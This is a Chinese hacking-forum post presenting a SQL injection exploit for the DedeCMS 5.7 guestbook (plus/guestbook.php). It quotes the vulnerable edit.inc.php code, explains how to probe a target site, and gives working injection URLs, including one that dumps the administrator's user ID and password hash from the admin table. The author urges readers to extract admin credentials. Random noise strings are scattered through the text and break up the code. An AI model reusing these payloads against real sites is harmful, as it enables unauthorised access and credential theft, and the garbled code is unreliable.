找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3712|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
! N8 s) f, O9 K5 y3 b  ~% A9 ^/ }& K: u( k' ?- J9 M# t8 m
漏洞文件edit.inc.php具体代码:' b0 l, _; O7 ?0 x
9 l7 U! u. h0 b9 j, ~0 i
< ?php  
( w! w7 D" |3 W4 v, p9 h8 Y3 \1 ~3 }0 @: N! @; _; e
if(!defined('DEDEINC')) exit('Request Error!');  . F7 n0 ^5 b9 j6 m  i
; V6 n: a1 ~6 T/ \
   
# a- @, a4 H* z' _8 R5 c) a+ O# r% y
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  / ]; U, J+ T/ O6 _; A/ Q: G3 P4 T

! }/ [, I! F' Ielse $GUEST_BOOK_POS = "guestbook.php";  
+ i% j7 G, l( b& @, f( I% G* w; O
& M3 j; z8 X6 j: V3 T5 s8 x# F0 n! {   $ W* L( j) i, r1 }* T
6 ~$ V9 e) N, y  ~) w& M) m/ D
$id = intval($id);  
* m7 \) N4 d4 {3 Y1 Y; u% d; X
! f1 X8 u; [% \0 Pif(empty($job)) $job='view';  
7 u! [* m. ~7 _4 B+ w2 Z" P, M( r! \8 T! s. I
   & O5 m( }+ l+ w, B* Q

. n$ G" S' b! K1 Iif($job=='del' && $g_isadmin)  
. h0 t& w4 x/ \# e7 y) O8 u7 ?' [8 r7 U' h! Q7 ^  V
{  
# V! V+ m6 `8 N  T- p' f; i
7 ]+ j7 w- E. W: g0 C$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; a% D1 b/ b/ }2 o
- N# O8 A! p7 z5 _4 w+ `3 |" Q5 v
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
/ p0 F/ }3 A9 i) A! m0 A0 t+ r7 y0 s9 M0 y: H( \3 Z! ^* x2 V5 m, _
exit();  & r" `1 u2 F% g8 f* m

, {- j# N, }9 c5 B+ x. d/ `+ y}  
6 L4 ]; a9 n" S5 }: X$ D6 N& I) ]& ]" G/ c' ~1 R+ \6 C6 C& ^
else if($job=='check' && $g_isadmin)  8 i4 x6 N" D0 @- G. L
2 w- V$ F0 e7 P# R
{  , V% A1 K4 ~, j! V. X" R6 E+ w

  x" N) g6 Y* }+ j$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
) f9 D5 D0 R5 t: L/ c; X5 K8 r4 o7 {0 u1 z% b9 X0 q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
8 d7 i: J" g% K& y3 M( K
  b6 q5 p" X4 i" Mexit();  
7 f: n: y& l" O( j0 I
- P3 H* S1 C3 k* A}  ; K2 V7 c% H/ q* q& K

3 [8 g- B# O8 belse if($job=='editok')  + G( i2 D" A3 h1 y: v

$ ^& m5 |  n( W+ t9 @{  
( }! Y' O- D$ y
3 B0 A! d6 V6 H, Y% w6 l- M$remsg = trim($remsg);  
1 ?' w/ H  a: l' }* i' h
% h" a$ H1 I! E6 V0 \  Pif($remsg!='')  9 c3 M/ ?. _/ }1 U

) E: S: E+ i- R{  
& W! S; h2 m9 K0 r$ g5 O( x
& [$ E$ @: V+ d* I//管理员回复不过滤HTML By:Errorera blog:errs.cc  
/ D6 a5 \# k; f5 N0 m) y; u0 x
% W8 R& x* H/ L! S* k4 h9 h" W  E4 e$ Xif($g_isadmin)  
# B8 {  @" s0 i
2 g  k1 y, A1 `{  
: j  S7 j7 r* h4 \) K8 g
3 o5 A2 g0 A$ R2 R. T6 C: o  u6 O  z$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  , H, e3 V! }) G/ c

1 p3 u7 o9 k# L//$remsg <br /><font color=red>管理员回复:</font> }  
1 Y. j0 o5 k* P' o" r3 I# y# [6 e" \; u) j2 d+ M  L* [
else
( F# x/ m/ r3 T  i5 ~9 A* s; j
* j3 a' T5 r0 n$ S* e{  % b8 k  w" l4 E2 g7 K
+ ^" l! Q; h+ G$ m7 J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
6 c% H) w1 D, M
  z( [! ]! F7 c4 r$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
/ a9 W9 R5 f2 X. r/ C. z3 A2 A; b$ K  N
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
% G& X, _% P- }
3 o6 d: l4 a. F" y$msg = $oldmsg.$remsg;  
) ]2 ?) y2 K( B5 E
$ D# u$ v  S0 X7 e, c+ f: d& }9 X}  * U! [+ Y. X- j" n) P$ w

3 t* |5 \7 s! a1 \% U- p1 a( j}  & p' _+ D' B/ A+ |2 H8 ^

! C1 e- y; h0 ~5 E//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  1 h/ `/ @- }/ G. R* L! T& M
/ |1 T( e$ ]+ b& i+ A1 F: Z
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  + c4 r! h) U$ D% R- _: z

9 A: L+ w; L  d- T. x5 G  A$ Z" fShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
( v" D9 h" b1 _9 Y) _+ C. F1 v' j9 h
( ^( k  O$ R1 R$ R- @exit();    B# E6 l5 k' p+ v% l

9 _( d* L8 Q& z" X+ B( k}  $ A/ b& @/ y( @! R6 t: L7 O
1 [/ D; F: e6 u: G3 f3 X
//home:www.errs.cc  
7 y; s( V( h" y0 S7 M& S( Q  J5 n; H6 f: y; m
if($g_isadmin)  : s. l/ \! H9 A, x. o8 f# k
* }" j: j# w( [
{  
+ p4 R+ [* \  n7 t) I( X
5 Q/ j% b  L3 Y( _5 r( C; e/ A$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
. f0 ^( E2 H% h( x( Q6 I/ H
/ u- N7 ^% g, \& trequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
+ S- m& }$ _3 Z. ?5 w$ V) a, n- @1 _/ ]7 H
}  
/ @: R% z. S: R3 J2 `% \3 {/ L3 e& M' W3 F) L2 P; D4 z% z
else
% L& k: _9 r+ o6 {9 H/ F4 `2 ]6 P2 z% N7 a
{  1 \4 C% o3 O6 Y& m5 e* Y# `

+ t& x8 a& u! c' l$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
! ]. U4 r% c  R. M; w8 y# I6 C. a6 L3 m7 f
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
6 q" x+ j( z6 ]1 d: N+ h' U) P7 S* n' f) ?" N# i' v1 j' u8 C6 y
} 漏洞成功需要条件:
; E- k' w$ Q( ]5 a1. php magic_quotes_gpc=off
% f+ f2 O; {" d6 L6 U2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" u+ e; Q8 S. k' i6 X4 b

# w; W0 u# a! r怎么判断是否存在漏洞:# M6 C' A1 S3 y! ~8 B3 \
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
3 e0 }+ y4 Q. ?3 X' m3 \6 z然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
0 C4 ]. U  Z# Z! E$ n/ R访问:5 Y# d) h1 H# C7 n7 h8 ^) Y# @

: \/ q" Y0 }' [# c3 |www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 l9 U0 p5 t5 R9 M$ e  N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
3 z9 Z) S  n) I  G9 }+ j2 Y& F3 r. `# {

8 P: L& P( H1 ?明漏洞无法利用应为他开启了 php magic_quotes_gpc=off/ E4 t4 z3 Y6 S9 o0 c* ~2 y
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
$ Y9 d8 D% G& @) F: d1 X那么再次访问7 c, V% Q+ G; f; S* R

( g1 _' [# i4 Kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 d) u6 C2 c8 f& w

7 R# v# r# ~/ \# w2 d大概利用就是这样,大家有兴趣的多研究下!!
6 E: T  B( t. G
( `3 `0 O. D6 [& D* D最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
: Q" a0 ^* l* {5 ~2 B* @1 E( \
: q9 D. q" d; Mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表